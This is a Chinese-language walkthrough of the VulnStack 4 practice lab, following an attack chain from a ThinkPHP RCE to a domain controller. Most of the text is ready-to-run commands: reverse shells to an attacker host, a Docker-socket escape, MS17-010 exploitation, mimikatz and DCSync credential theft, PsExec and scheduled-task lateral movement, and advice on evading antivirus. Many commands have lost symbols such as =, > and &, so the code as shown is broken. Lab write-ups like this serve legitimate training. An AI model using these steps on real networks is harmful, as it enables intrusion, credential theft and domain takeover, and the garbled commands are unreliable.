从容器逃逸到域控:VulnStack 4靶场实战与内网渗透攻击链解析

从容器逃逸到域控:VulnStack 4靶场实战与内网渗透攻击链解析 1. 项目概述从靶场复现到实战思维构建最近在整理内网渗透的学习笔记发现很多朋友对“容器逃逸”和“域渗透”这两个环节的衔接总感觉有些脱节。理论看了不少但一到自己动手搭建环境、复现攻击链时就容易被各种细节卡住。正好红日安全团队的VulnStack 4靶场是一个绝佳的练习场景它巧妙地将一个Web应用漏洞作为入口引导攻击者穿越容器边界最终深入并控制整个Windows域环境。这个靶场的设计非常贴近真实攻防场景复现它的过程本质上就是在演练一套完整的“外部突破 - 横向移动 - 权限提升 - 信息收集 - 域控夺取”的攻击路径。我花了几天时间从头到尾完整地复现了一遍过程中确实踩了不少坑比如容器内环境配置、特定漏洞利用的版本依赖、以及域渗透中那些容易被忽略的细节。这篇文章我就以一个“踩坑者”和“复盘者”的身份手把手带你走通这五个关键步骤。我的目标不是让你照抄命令而是理解每一步背后的“为什么”——为什么选择这个漏洞点为什么用这个工具遇到报错该怎么排查我会把所有的操作细节、参数含义、以及我遇到的坑和解决方案都摊开来讲清楚。无论你是刚接触内网安全的新手还是想巩固一下攻击链思维的同行这篇详尽的复盘笔记应该都能给你带来一些直接的帮助。2. 靶场环境设计与核心攻击链解析2.1 靶场拓扑与角色定位VulnStack 4的典型网络拓扑模拟了一个中小型企业的混合架构。其核心通常包含三台主机攻击机 (Attacker)通常是我们自己的Kali Linux或其它渗透测试平台位于外部网络。边界服务器 (Border Server)这是一台Ubuntu系统运行着存在漏洞的Web应用例如ThinkPHP 5.0.*并且最关键的是这个Web服务很可能运行在Docker容器中。它是整个攻击链的起点也是“容器逃逸”发生的地方。域内主机 (Domain Member)一台加入域的Windows 10或Windows 7主机作为内部网络的工作站。域控制器 (Domain Controller, DC)一台Windows Server 2012或2016的主机运行Active Directory服务是整个域的核心。攻击链的流向非常清晰攻击机 - 边界服务器Web漏洞打入容器内部- 从容器逃逸到宿主机 - 从Ubuntu宿主机横向移动到Windows域内主机 - 最终攻陷域控制器。这个链条涵盖了从Web攻防、Linux系统权限维持、到Windows内网横向移动和域权限提升的多个核心技能点。注意在搭建或下载靶场环境时务必确认各主机的IP地址、网卡设置如是否采用仅主机模式以及预设的账号密码。建议先用arp-scan或netdiscover配合nmap做一次完整的网络发现画出自己的网络拓扑图这是后续所有操作的基础。2.2 漏洞起点ThinkPHP RCE与初始立足点获取靶场的入口通常是边界服务器上运行的ThinkPHP 5.0.*版本应用其特定版本存在远程代码执行漏洞。利用这个漏洞我们的目标不是简单的执行whoami而是要获取一个反向Shell从而在容器内部建立一个稳定的交互式控制通道。利用过程与命令详解首先我们使用nmap或直接浏览器访问来识别服务nmap -sV -p 80,443 边界服务器IP发现80端口运行着Apache/Nginx和ThinkPHP。经典的利用Payload是向特定路由发送包含恶意代码的请求。这里我使用curl配合bash反弹Shellcurl -X POST http://靶机IP/index.php?s/index/\think\app/invokefunctionfunctioncall_user_func_arrayvars[0]systemvars[1][]bash-cbash-i%26/dev/tcp/你的攻击机IP/监听端口0%261参数拆解与避坑指南s/index/\think\app/invokefunction这是触发漏洞的特定路径ThinkPHP 5.0.*的漏洞利用点。functioncall_user_func_array利用PHP的call_user_func_array函数来动态调用系统命令。vars[0]system指定要调用的函数是system()用于执行操作系统命令。vars[1][]bash -c ...这是传递给system()函数的参数即要执行的命令。这里我们执行一个bash命令来反弹Shell。bash -i /dev/tcp/... 01这是一个标准的Bash反向Shell命令。-i表示交互式Shell将标准输出和错误输出重定向到TCP连接01将标准输入也重定向到同一个连接从而形成一个完整的交互通道。避坑点1编码问题。如果直接复制粘贴上面的命令、、空格等特殊字符在HTTP请求中需要正确处理。我上面的例子中使用了代替空格并对进行了URL编码%26。在实际操作中更稳妥的方式是使用Burp Suite等工具手动构建请求包或者使用Python的requests库编写脚本避免命令行转义的麻烦。避坑点2监听姿势。在攻击机上务必在发送Payload前启动监听。使用nc监听时建议加上-nvvp参数确保能接收到连接并看到详细输出nc -nvvlp 监听端口成功执行后你会在nc终端获得一个容器内的Shell。第一个里程碑达成我们在目标内部获得了初始执行权限。3. 容器逃逸突破隔离边界的关键一跃获得容器内的Shell后我们首先要判断自己是否真的在容器中并寻找逃逸路径。这是内网渗透中从“点”突破到“面”控制的关键转折点。3.1 环境侦察与逃逸向量发现在容器Shell中执行一些基础的信息收集命令# 检查根目录下是否有.dockerenv文件 ls -la /.dockerenv # 检查/proc/1/cgroup查看cgroup信息如果包含docker、kubepods等关键字则很可能在容器中 cat /proc/1/cgroup # 检查磁盘挂载情况容器内挂载点通常较少且规整 df -h # 查看网卡信息Docker容器的网卡名通常是eth0且IP是内部网段如172.17.0.x ip addr如果确认在容器内下一步就是寻找逃逸方法。VulnStack 4靶场常见的逃逸向量是利用Docker Socket挂载或特权容器。检查Docker Socket# 查找宿主机挂载进来的Docker Socket文件 find / -name docker.sock 2/dev/null # 或者检查常见的挂载点 ls -la /run/ | grep docker ls -la /var/run/ | grep docker如果发现/run/docker.sock或/var/run/docker.sock文件存在并且容器当前用户可能是www-data有读写权限那么这就是一条黄金逃逸通道。因为Docker Socket是Docker守护进程的API入口控制了它就等于控制了宿主机上运行Docker的权限。3.2 利用Docker Socket实现逃逸假设我们找到了可写的/var/run/docker.sock。逃逸的核心思路是利用容器内的Docker客户端通过这个Socket与宿主机Docker守护进程通信在宿主机上运行一个新的容器并将宿主机的根目录/挂载到这个新容器内从而在容器内直接读写宿主机文件系统或直接获得一个宿主机Shell。操作步骤在容器内安装Docker客户端如果未安装。由于容器可能没有apt我们可以从网络下载静态二进制文件。但更简单的方法是如果宿主机安装了Docker其客户端二进制文件可能通过某种方式可用。我们先检查which docker如果没有可以尝试从宿主机挂载的目录寻找或者使用curl从攻击机下载一个静态编译的docker客户端到容器内的可写目录如/tmp。与宿主机Docker守护进程交互。我们使用docker -H unix:///var/run/docker.sock来指定Socket。首先测试连接并查看宿主机上的镜像docker -H unix:///var/run/docker.sock images如果成功列出镜像说明通信正常。创建逃逸容器。我们的目标是运行一个拥有宿主机根目录挂载权限的新容器。这里使用一个最小的Alpine镜像为例docker -H unix:///var/run/docker.sock run -it -v /:/host alpine /bin/sh命令解析-H unix:///var/run/docker.sock指定使用容器内的这个socket文件进行通信实际连接的是宿主机的Docker守护进程。run -it交互式运行一个新容器。-v /:/host将宿主机的根目录/挂载到新容器内的/host目录。这是逃逸的关键alpine使用的镜像名因为体积小拉取快。/bin/sh容器启动后执行的命令。在新容器内访问宿主机文件系统。上一条命令执行后我们会进入新容器的Shell。此时执行ls /host你看到的将是宿主机的整个根目录。你可以直接修改宿主机文件例如写入SSH公钥到/host/root/.ssh/authorized_keys实现SSH免密登录。修改/host/etc/crontab创建定时任务反弹Shell。更直接的方式在宿主机上运行一个反弹Shell。因为/host就是宿主机根目录我们可以通过chroot切换根目录到/host或者直接执行宿主机上的二进制文件。一个经典的方法是在宿主机上创建一个反弹Shell的脚本并执行# 在新容器内操作 echo bash -i /dev/tcp/攻击机IP/新端口 01 /host/tmp/reverse.sh chmod x /host/tmp/reverse.sh # 通过chroot到宿主机环境来执行 chroot /host /bin/bash -c /tmp/reverse.sh随后在攻击机监听新端口即可获得一个宿主机的Shell。实操心得在实际测试中可能会遇到宿主机上没有alpine镜像的情况。此时Docker守护进程会尝试从Docker Hub拉取如果网络不通就会失败。解决方案是先使用宿主机上已有的镜像比如ubuntu:latest或者使用busybox。可以通过docker -H ... images先查看现有镜像列表。另一个更通用的方法是不运行新容器而是直接“接管”一个已在运行的、有特权的容器通过docker exec进入其命名空间这需要更多的权限和技巧。成功获得宿主机Shell后我们便完成了从容器到宿主机边界服务器实体机的逃逸攻击视野从单一的Web应用容器扩大到了整个边界服务器操作系统。4. 内网横向移动从Linux宿主机到Windows域成员拿到Ubuntu宿主机的权限后我们正式进入内网。首要任务是进行网络发现识别域内主机并寻找向Windows系统横向移动的方法。4.1 内网信息收集与侦察在Ubuntu宿主机上我们可以利用已有的权限进行更深入的信息收集网络拓扑探测# 查看当前主机网络配置确认内网网段 ip addr cat /etc/resolv.conf # 查看DNS域控通常就是DNS服务器 route -n # 使用内置工具进行ARP扫描或ICMP扫描发现存活主机 arp -a # 或者用nmap如果已安装 nmap -sn 192.168.52.0/24 # 假设这是内网网段如果nmap未安装可以上传静态二进制文件或者使用更简单的ping扫描脚本。凭证窃取与密码嗅探检查历史命令history看是否有管理员输入过密码。查找配置文件在/home目录、Web目录下寻找包含数据库连接字符串、API密钥的配置文件如config.php,.env。检查SSH密钥~/.ssh/id_rsa如果有可用于免密登录其他服务器。内存中提取密码如果条件允许可以尝试使用mimipenguin等工具需根据系统架构编译上传但成功率依赖环境。定位域控制器在Linux上可以通过查询DNS或SMB来发现域控。# 查询DNS SRV记录定位域控 nslookup -typeSRV _ldap._tcp.dc._msdcs.域名 # 或者使用工具如ldapsearch通常在/etc/resolv.conf或/etc/hosts中就能发现域名的线索域控的IP往往是DNS服务器的IP。4.2 利用SMB协议与MS17-010漏洞进行横向移动假设我们通过扫描发现内网有一台Windows 7主机192.168.52.143并且可能存在永恒之蓝漏洞。我们的攻击机无法直接访问该内网IP因此需要在Ubuntu宿主机上搭建一个“中转站”或“代理”将我们的攻击工具送到内网环境。方案选择在Ubuntu宿主机上部署Metasploit这是比较直接的方法。我们在已控的Ubuntu宿主机上安装Metasploit Framework然后以其为跳板攻击内网Windows主机。在Ubuntu上安装Metasploit# 添加Metasploit仓库并安装 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb msfinstall chmod x msfinstall ./msfinstall安装过程可能需要一些时间。安装完成后运行msfconsole即可。配置路由与代理如果攻击机想直接控制在更复杂的场景我们可能希望从外部的攻击机直接操控内网的Metasploit会话。这时需要在Ubuntu宿主机上运行Metasploit的exploit/multi/handler作为持久化后门并通过ssh反向隧道或frp/nps等工具进行端口转发将Ubuntu宿主机的MSF监听端口映射到攻击机。这一步稍显复杂在靶场复现中为了简化我们可以直接在Ubuntu宿主机的终端里操作MSF。利用MS17-010攻击内网Windows主机 在Ubuntu宿主机的msfconsole中use exploit/windows/smb/ms17_010_eternalblue set RHOSTS 192.168.52.143 # 目标Windows主机IP set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.52.141 # Ubuntu宿主机的内网IP用于接收反弹Shell set LPORT 4444 exploit参数与避坑LHOST必须设置为Ubuntu宿主机的内网IP因为Meterpreter的Shell是反弹到这里的。如果目标系统是Windows 7 x64选择对应的payload。x86和x64的payload成功率不同需要尝试。常见失败原因目标系统已打补丁防火墙拦截SMB服务未开启或版本不匹配。在靶场环境中通常配置为存在漏洞。获取Meterpreter会话后的操作攻击成功后会得到一个Meterpreter会话。我们首先需要将其迁移到一个稳定的进程如explorer.exe中防止会话因进程退出而关闭。meterpreter getpid meterpreter migrate explorer.exe的PID然后就可以进行常规的信息收集如sysinfo,getuid,hashdump等。注意事项在实际攻防中MS17-010这类漏洞的利用动静较大容易被IDS/IPS检测。在靶场练习中它是一条捷径但在真实环境中可能需要结合其他横向移动手段如Pass-the-Hash、利用WinRM、WMI、计划任务、服务创建等。5. 域渗透提权从普通域用户到域管理员通过永恒之蓝我们可能直接获得了目标Windows主机的SYSTEM权限。但我们的最终目标是域控制器。此时我们可能已经控制了一台域成员主机并获取了本地用户的哈希或明文密码。下一步就是利用域内凭证进行横向移动和权限提升。5.1 凭证提取与权限分析在已控的Windows主机上假设是Windows 7域成员我们提取凭证meterpreter hashdump这会导出本地SAM数据库中的NTLM哈希。但更重要的是域用户哈希。如果当前进程是以域用户身份运行的我们可以尝试使用meterpreter的kiwi扩展Mimikatz来提取内存中的明文密码和Kerberos票据。meterpreter load kiwi meterpreter creds_all如果成功你可能会看到域用户的用户名和密码。记录下这些凭证特别是那些属于域管理员组或拥有高权限的账户。同时我们需要了解当前用户在域内的权限meterpreter shell C:\ whoami /all # 查看当前用户权限和所属组 C:\ net user 当前用户名 /domain # 查询域用户信息 C:\ net group Domain Admins /domain # 查看域管理员组成员5.2 利用PsExec进行横向移动与域控攻击假设我们通过kiwi获取到了一个域管理员组成员的密码或哈希。现在我们可以直接尝试攻击域控制器。方法一使用PsExec直接获取域控Shell在Meterpreter会话中我们可以使用psexec模块利用域管理员凭证在域控制器上执行命令从而获取一个反向Shell。meterpreter background # 将当前会话放到后台 msf6 use exploit/windows/smb/psexec set RHOSTS 192.168.52.138 # 域控制器IP set SMBUser Administrator # 域管理员账户 set SMBPass 获取到的明文密码或NTLM哈希 # 如果是哈希格式为 LMHASH:NTHASH set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.52.141 # 接收Shell的Ubuntu宿主机IP set LPORT 5555 exploit如果凭证正确且防火墙允许SMB端口445这将直接在域控制器上创建一个系统服务并执行我们的Payload返回一个高权限的Meterpreter会话。方法二使用WMIEXEC或计划任务如果PsExec被拦截或失败可以尝试其他横向移动方法。例如使用Impacket工具包中的wmiexec.py需要在Ubuntu宿主机上安装Impacket# 在Ubuntu宿主机上执行 python3 wmiexec.py 域名/Administrator:密码192.168.52.138 whoami或者通过计划任务执行命令。在已控的Windows主机上可以通过schtasks命令在域控上创建任务C:\ schtasks /create /S 192.168.52.138 /U 域名\Administrator /P 密码 /TN UpdateTask /TR C:\shell.exe /SC ONCE /ST 00:00 C:\ schtasks /run /S 192.168.52.138 /U 域名\Administrator /P 密码 /TN UpdateTask5.3 夺取域控标志性文件成功在域控制器上获得Shell后最后的“仪式感”就是获取域控的标志性文件证明完全控制。获取域内所有用户哈希使用meterpreter的kiwi模块或上传mimikatz.exe执行lsadump::sam或lsadump::dcsync来导出所有域用户的哈希。dcsync是更直接的方法它模拟域控制器同步数据的行为来获取哈希。meterpreter load kiwi meterpreter dcsync_ntlm 域名 # 例如dcsync_ntlm vulnstack.com定位并读取ntds.dit文件这是Active Directory的数据库文件位于C:\Windows\NTDS\NTDS.dit。直接复制它需要特殊工具如ntdsutil或Volume Shadow Copy技术。更简单的方法是使用上述的dcsync。获取krbtgt账户哈希这是域内最重要的账户之一其哈希可用于制作“黄金票据”实现持久的域内权限维持。在dcsync的输出中找到krbtgt用户的哈希并妥善保存。至此我们已经完成了从外网Web漏洞打入到容器逃逸再到内网横向移动最终攻陷域控制器的完整攻击链。6. 常见问题排查与实战避坑指南复现过程中几乎每一步都可能遇到问题。这里我把自己踩过的坑和解决方案整理出来希望能帮你节省时间。6.1 漏洞利用阶段问题问题现象可能原因排查与解决方案发送Payload后无回显nc无连接1. Payload编码/格式错误。2. 目标服务不存在或路径错误。3. 防火墙/安全组拦截。4. 反弹Shell命令在目标环境不兼容。1.使用Burp Suite重放确保请求格式正确。尝试不同编码URL编码、Base64。2.确认服务端口。用nmap扫描确认80/443端口开放状态及服务指纹。3.检查监听命令nc -nvvlp 端口确保端口未被占用且攻击机防火墙允许入站。4.尝试不同反弹Shell命令如python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((IP,端口));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]);获得Shell后立即断开1. 反弹Shell不稳定。2. 目标环境限制如alpine镜像默认sh。1.升级为TTY在获得的Shell中快速执行python -c import pty; pty.spawn(/bin/bash)或script /dev/null -c bash。2.使用socat或msfvenom生成更稳定的Payload。6.2 容器逃逸阶段问题问题现象可能原因排查与解决方案docker.sock存在但无权限操作容器内当前用户如www-data不在docker组或Socket文件权限不足。1.尝试提权在容器内寻找SUID文件、内核漏洞等提权到root。find / -perm -us -type f 2/dev/null。2.寻找其他逃逸点检查是否以--privileged特权模式运行(cat /proc/self/status | grep CapEff)检查挂载的敏感目录。使用docker run命令时报错如“镜像不存在”宿主机Docker镜像列表中没有指定的镜像如alpine。1.使用已有镜像docker -H unix:///var/run/docker.sock images查看列表选择一个已有的如ubuntu:latest。2.使用busybox它更小且宿主机很可能有docker -H ... run -it -v /:/host busybox sh。6.3 横向移动与域渗透阶段问题问题现象可能原因排查与解决方案MS17-010漏洞利用失败1. 目标系统已打补丁。2. 目标防火墙阻止445端口或MSF Payload连接。3. 目标系统架构x86/x64与Payload不匹配。1.信息收集先用auxiliary/scanner/smb/smb_ms17_010模块扫描确认漏洞存在。2.尝试不同Payload交替尝试windows/x64/...和windows/...的payload。3.关闭防火墙如果已有其他入口在已控主机上通过命令远程关闭目标防火墙需权限。PsExec模块连接失败1. 凭证错误密码/哈希不对。2. 目标防火墙阻止445端口或SMB服务访问。3. 账户被禁用或登录限制。1.验证凭证在已控主机上用net use \\目标IP\IPC$ /user:用户名 密码测试SMB连接。2.使用其他横向移动方式如WMI (exploit/windows/smb/wmi_exec)、WinRM (exploit/windows/winrm/winrm_script_exec)。3.Pass-the-Hash如果获取的是哈希确保在MSF中正确设置SMBPass为LMHASH:NTHASH格式且使用set SMBDomain 域名。无法提取明文密码或哈希1. 当前进程权限不足非SYSTEM。2. 系统版本如Win10高版本默认启用Credential Guard等保护。1.提权到SYSTEM在Meterpreter中使用getsystem命令。2.使用其他提取方法上传mimikatz.exe独立版并执行使用meterpreter的hashdump命令需SYSTEM权限使用Volume Shadow Copy技术复制NTDS.dit文件离线破解。域控上执行命令被拦截1. 杀毒软件或EDR拦截了可疑进程创建行为。2. AppLocker等应用程序白名单策略。1.免杀处理对Meterpreter的Payload进行编码、加壳或使用Veil、Shellter等工具生成免杀木马。2.利用合法进程使用msf的migrate功能注入到explorer.exe,svchost.exe等系统进程中。3.使用无文件攻击如PowerShell内存加载、注册表注入、WMI事件订阅等。整个复现过程最耗费时间的往往不是攻击步骤本身而是环境配置、网络连通性和各种意料之外的错误。我的建议是每完成一步都做好记录并验证当前权限和网络可达性。例如在容器内逃逸到宿主机后立即检查宿主机到域内其他主机的连通性ping,nmap。在获取到一组新凭证后先在小范围内测试其有效性如用net use测试SMB连接再用于关键攻击步骤。保持耐心仔细阅读错误信息善用搜索引擎和社区这些“踩坑”的经历才是从靶场到实战最宝贵的经验积累。